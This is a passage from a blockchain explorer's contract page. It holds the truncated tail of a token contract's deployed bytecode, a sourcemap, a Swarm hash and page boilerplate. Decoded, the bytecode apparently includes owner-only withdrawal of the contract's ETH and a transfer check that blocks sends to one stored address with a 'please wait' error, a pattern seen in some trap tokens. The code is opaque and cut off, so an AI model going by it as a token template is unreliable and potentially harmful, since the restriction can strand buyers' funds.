8f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a72315820474020326863e42bf53d8f84955a25fc081ed401818759931d60813dbed9575064736f6c63430005110032

Deployed Bytecode Sourcemap

15657:777:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6617:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6617:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;6617:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8808:194;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8808:194:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8808:194:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;8273:108;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8273:108:0;;;:::i;:::-;;;;;;;;;;;;;;;;6688:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6688:20:0;;;:::i;:::-;;;;-1:-1:-1;;;;;6688:20:0;;;;;;;;;;;;;;9006:443;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9006:443:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;9006:443:0;;;;;;;;;;;;;;;;;:::i;6640:21::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6640:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8385:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8385:116:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;8385:116:0;-1:-1:-1;;;;;8385:116:0;;:::i;5110:178::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5110:178:0;;;:::i;8176:83::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8176:83:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;8176:83:0;-1:-1:-1;;;;;8176:83:0;;:::i;4742:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4742:20:0;;;:::i;6592:::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6592:20:0;;;:::i;8505:299::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8505:299:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8505:299:0;;;;;;;;:::i;16243:148::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;16243:148:0;;;:::i;9598:315::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9598:315:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;9598:315:0;;;;;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;9598:315:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;9598:315:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;9598:315:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;9598:315:0;;-1:-1:-1;9598:315:0;;-1:-1:-1;;;;;9598:315:0:i;4767:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4767:23:0;;;:::i;9453:141::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9453:141:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;9453:141:0;;;;;;;;;;:::i;5010:96::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5010:96:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;5010:96:0;-1:-1:-1;;;;;5010:96:0;;:::i;6617:18::-;;;;;;;;;;;;;;;-1:-1:-1;;6617:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8808:194::-;8900:10;8871:12;8892:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8892:28:0;;;;;;;;;;;:37;;;8941;;;;;;;8871:12;;8892:28;;8900:10;;8941:37;;;;;;;;-1:-1:-1;8992:4:0;8808:194;;;;;:::o;8273:108::-;8317:4;8354:20;;;:8;:20;;;;8337:12;;:38;;;:16;:38;:::i;:::-;8330:45;;8273:108;:::o;6688:20::-;;;-1:-1:-1;;;;;6688:20:0;;:::o;9006:443::-;9083:12;-1:-1:-1;;;;;9109:18:0;;;;;;:41;;-1:-1:-1;9131:5:0;;-1:-1:-1;;;;;9131:5:0;:19;9109:41;9106:105;;;9152:5;:10;;-1:-1:-1;;;;;;9152:10:0;-1:-1:-1;;;;;9152:10:0;;;;;9106:105;;;9190:5;;-1:-1:-1;;;;;9184:11:0;;;9190:5;;9184:11;;9176:35;;;;;-1:-1:-1;;;9176:35:0;;;;;;;;;;;;-1:-1:-1;;;9176:35:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9243:14:0;;;;;;:8;:14;;;;;;:26;;9262:6;9243:26;:18;:26;:::i;:::-;-1:-1:-1;;;;;9226:14:0;;;;;;:8;:14;;;;;;;;:43;;;;9304:7;:13;;;;;9318:10;9304:25;;;;;;:37;;9334:6;9304:37;:29;:37;:::i;:::-;-1:-1:-1;;;;;9276:13:0;;;;;;;:7;:13;;;;;;;;9290:10;9276:25;;;;;;;:65;;;;9363:12;;;;;:8;:12;;;;;:24;;9380:6;9363:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;9348:12:0;;;;;;;:8;:12;;;;;;;;;:39;;;;9399:26;;;;;;;9348:12;;9399:26;;;;;;;;;;;;;-1:-1:-1;9439:4:0;9006:443;;;;;:::o;6640:21::-;;;;;;:::o;8385:116::-;-1:-1:-1;;;;;8475:20:0;8445:12;8475:20;;;:8;:20;;;;;;;8385:116::o;5110:178::-;5173:8;;-1:-1:-1;;;;;5173:8:0;5159:10;:22;5151:31;;;;;;5222:8;;;5215:5;;5194:37;;-1:-1:-1;;;;;5222:8:0;;;;5215:5;;;;5194:37;;;5246:8;;;;5238:16;;-1:-1:-1;;;;;;5238:16:0;;;-1:-1:-1;;;;;5246:8:0;;5238:16;;;;5261:21;;;5110:178::o;8176:83::-;4984:5;;-1:-1:-1;;;;;4984:5:0;4970:10;:19;4962:28;;;;;;8239:5;:14;;-1:-1:-1;;;;;;8239:14:0;-1:-1:-1;;;;;8239:14:0;;;;;;;;;;8176:83::o;4742:20::-;;;-1:-1:-1;;;;;4742:20:0;;:::o;6592:::-;;;;;;;;;;;;;;-1:-1:-1;;6592:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8505:299;8600:5;;8564:12;;-1:-1:-1;;;;;8594:11:0;;;8600:5;;8594:11;;8586:35;;;;;-1:-1:-1;;;8586:35:0;;;;;;;;;;;;-1:-1:-1;;;8586:35:0;;;;;;;;;;;;;;;8667:10;8658:20;;;;:8;:20;;;;;;:32;;8683:6;8658:32;:24;:32;:::i;:::-;8644:10;8635:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;8712:12:0;;;;;;:24;;8729:6;8712:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;8697:12:0;;;;;;:8;:12;;;;;;;;;:39;;;;8748:32;;;;;;;8697:12;;8757:10;;8748:32;;;;;;;;;;-1:-1:-1;8794:4:0;8505:299;;;;:::o;16243:148::-;4984:5;;-1:-1:-1;;;;;4984:5:0;4970:10;:19;4962:28;;;;;;16347:38;;16330:10;;;;16363:21;16347:38;;;;;16305:22;16347:38;16305:22;16347:38;16363:21;16330:10;16347:38;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;16347:38:0;4997:1;16243:148::o;9598:315::-;9716:10;9687:12;9708:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;9708:28:0;;;;;;;;;;;:37;;;9757;;;;;;;9687:12;;9708:28;;9716:10;;9757:37;;;;;;;;9801:88;;-1:-1:-1;;;9801:88:0;;9849:10;9801:88;;;;;;;;;;;;9877:4;9801:88;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9801:47:0;;;;;9849:10;9861:6;;9877:4;9884;;9801:88;;;;;;;;;;;;;;;;-1:-1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;9801:88:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9801:88:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;9903:4:0;;9598:315;-1:-1:-1;;;;;;;9598:315:0:o;4767:23::-;;;-1:-1:-1;;;;;4767:23:0;;:::o;9453:141::-;-1:-1:-1;;;;;9560:19:0;;;9530:14;9560:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;9453:141::o;5010:96::-;4984:5;;-1:-1:-1;;;;;4984:5:0;4970:10;:19;4962:28;;;;;;5080:8;:20;;-1:-1:-1;;;;;;5080:20:0;-1:-1:-1;;;;;5080:20:0;;;;;;;;;;5010:96::o;2389:104::-;2441:6;2469:1;2464;:6;;2456:15;;;;;;-1:-1:-1;2482:5:0;;;2389:104::o;2281:::-;2352:5;;;2372:6;;;;2364:15;;;;

Swarm Source

bzzr://474020326863e42bf53d8f84955a25fc081ed401818759931d60813dbed95750
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.